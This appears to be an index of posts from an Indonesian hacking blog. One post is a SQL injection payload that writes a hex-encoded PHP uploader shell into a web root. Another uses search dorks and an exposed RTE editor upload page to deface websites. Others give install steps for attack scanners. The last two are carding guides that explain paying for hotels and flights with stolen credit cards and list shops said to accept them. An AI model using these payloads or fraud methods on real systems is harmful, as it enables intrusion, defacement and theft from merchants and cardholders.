SQLinject via Upload shell [TUTORIAL]

[TUTORIAL]

SQLinject via Upload shell

'
-1 order by 6--
-1 union select 1,2,user(),4,5--
-1 union select 1,2,@@datadir,4,5--
-1 union select 1,2,0x3c666f726d20616374696f6e3d2727206d6574686f643d27706f73742720656e63747970653d276d756c7469706172742f666f726d2d64617461273e3c696e70757420747970653d2766696c6527206e616d653d2766696c65273e3c696e70757420747970653d277375626d6974272076616c75653d275e273e3c2f666f726d3e3c3f7068702069662840636f707928245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c245f46494c45535b2766696c65275d5b276e616d65275d29297b6563686f20223c626c696e6b3e53554b53455320213c2f626c696e6b3e223b7d203f3e,4,5 into outfile 'c:/xampp/htdocs/injector/file.php'--

Read More

Pentesting scanner yang populer di Python

[SHARE]

v3n0M v4.0.6 (Update release stable 14 agustus 2016)

Pentesting scanner yang populer di Python3.5 untuk SQLi/XSS/LFI/RFI dan vunerability lainnya

Sangat menunjang untuk eksekusi :
* Metasploit Modules Scans
* LFI, RFI and XSS Scanning[LFI/RFI/XSS]
* SQL Injection Vuln Scanner[SQLi]
* Dorker
* FTP Crawler
* DNS BruteForcer
* dll

Cara penginstallan via git :
‪#‎git‬ clone https://github.com/v3n0m-Scanner/V3n0M-Scanner && ‪#‎cd‬V3n0M-Scanner
‪#‎sudo‬ pip3 install dnspython3 aiohttp httplib2 socksipy-branch requests url
‪#‎python3‬ setup.py
#cd src
#python3 v3n0m.py

Update:
#cd V3n0M-Scanner
#git pull origin master

Sumber : Github
Source text: BUDI (1337 CYBERINDO)

Read More

Simple Deface with RTE Remote File Upload Vulnerability

LAngsung ajah ke topic :) 

Simple Deface with RTE Remote File Upload Vulnerability (Budi 1337Cyberindo)#justshare

Dork :
inurl:rte/my_documents/my_files
inurl:/my_documents/my_files/

Exploit:
Ganti URL "rte/my_documents/my_files"
dengan
"/rte/RTE_popup_file_atch.asp"

contoh:
http://www.samplee .com/admin/useradmin/rte/my_documents/my_files/

Setelah di exploit :
http://www.samplee .com/admin/useradmin/rte/RTE_popup_file_atch.asp

Setelah upload , path nya kira kira disini :
http://www.samplee.com/admin/useradmin/rte/my_documents/my_files/yourscript.html

Sekian dan makasih

Source: 1337CyberIndo Facebook

Read More

Cara install Crackmapexec via virtualenvwrapper

[TUTORIAL]

Cara install Crackmapexec via virtualenvwrapper

~‪#‎apt‬-get install -y libssl-dev libffi-dev python-dev build-essential
~# apt-get install virtualenvwrapper
~# source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
~# mkvirtualenv CME
(CME) #~ pip install crackmapexec

Silahkkan install dulu toolsnya supaya nanti kita bisa belajar bersama cara eksekusi nya.

Source : FansPage 1337Cyberindo facebook

Read More

Cardable Site hotel and flights 2016 NEW!!! Indonesian Cardable site 2016

Langsung kita membuka pembicaraan,
iseng iseng bongkar menthod , sebenarnya banyak yang tau , mungkin gua share ini bermanfaat bagi kalian

Oke langsung kita ke topic

Cardable site hotel :

Klik ini

Pay pake cc (fresh)
billing isi cc, nama check in , nama cc
Isi special requestnya bilang ganti atas nama checkin alasannya apa kek pasti lo punya otak kan buat berfikir :)

Klik ini juga :)

sama kaya fr gak beda jauh cuman country  ajah sih hahaha

Cardable Site Flights :

Klik saya Site flight

Menthod use VPN NEGARA CC
Pay hotel / flight
masukin nama dll sesuai passanger
Masukin EMAIL ( EMAIL bule yang sudah pernah pesan di site ini )
Pay pake cc (FRESH! LANGSUNG CHARGE, CC USA CREDIT REGIONS  BINNYA )
LANGSUNG CO ,  :) SESUAI CC YAH DATA PAYMENT

OKe sekian dari gua newbie yang sedikit melenceng dari dunianya :V

Sorry kalo ada salah kata  dll :)

regards newbie404 :)


Follow G+ , like komentar , and share, :) biar gua makin share menthod lainnya oke :)

Read More

List Site Cardable 2016 NEW!! UPDATE!

Hallo guys , :) on again  , blogging lagi :) naikan visitor brother :)

ya kali ini gua mau share sedikit bocoran site cardable ,

langsung ajah

Ae.com bill = ship
Forever21.com
DW WACTH , VBV
Vistaprint.com kirim ke negara mana ajah yang penting alamat indo,
Zalora.co.id
Lazada.co.id (bin tertentu)
Name.com ( domain)
cd2keys.com ( steam gift card)
Wish.com contact cs / dropper, pay pp bisa

sudah yah :v , nanti kita lanjut exploit magento lagi ramai ramainya,

Silahkan di like comment, and follow :)

Tenang updateaan list smtp semua :v

Salah RANGER :v

Read More